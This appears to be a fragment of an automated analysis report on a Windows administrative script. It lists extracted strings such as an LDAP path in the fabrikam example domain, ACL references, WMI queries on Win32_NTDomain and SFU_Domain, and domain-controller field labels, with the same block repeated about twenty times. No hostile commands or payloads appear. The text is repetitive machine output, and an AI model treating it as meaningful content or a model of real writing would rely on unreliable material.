                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "AccessControlEntry"
                                                                                                                                                      "FABRIKAM\kmyer"
                                                                                                                                                      "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"
                                                                                                                                                      "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"
                                                                                                                                                      "ntSecurityDescriptor"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from SFU_Domain"
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "DC: "
                                                                                                                                                      "Default: "
                                                                                                                                                      "Domain: "
                                                                                                                                                      "Key Name: "
                                                                                                                                                      "Maps: "
                                                                                                                                                      "Microsoft.Update.AutoUpdate"
                                                                                                                                                      "."
                                                                                                                                                      "winmgmts:""{impersonationLevel=impersonate}!\\"
                                                                                                                                                      "Select * from Win32_NTDomain"
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "Client Site Name: "
                                                                                                                                                      "DC Site Name: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "DNS Forest Name: "
                                                                                                                                                      "Domain Controller Address: "
                                                                                                                                                      "Domain Controller Address Type: "
                                                                                                                                                      "Domain Controller Name: "
                                                                                                                                                      "Domain GUID: "
                                                                                                                                                      "Domain Name: "
                                                                                                                                                      "DS Directory Service Flag: "
                                                                                                                                                      "DS DNS Controller Flag: "
                                                                                                                                                      "DS DNS Domain Flag: "
                                                                                                                                                      "DS DNS Forest Flag: "
                                                                                                                                                      "DS Global Catalog Flag: "
                                                                                                                                                      "DS Kerberos Distribution Center Flag: "
                                                                                                                                                      "DS Primary Domain Controller Flag: "
                                                                                                                                                      "DS Time Service Flag: "
                                                                                                                                                      "DS Writable Flag: "
                                                                                                                                                      "Name: "
                                                                                                                                                      "Primary Owner Contact: "
                                                                                                                                                      "LDAP://OU=Finance, DC=fabrikam,DC=Com"
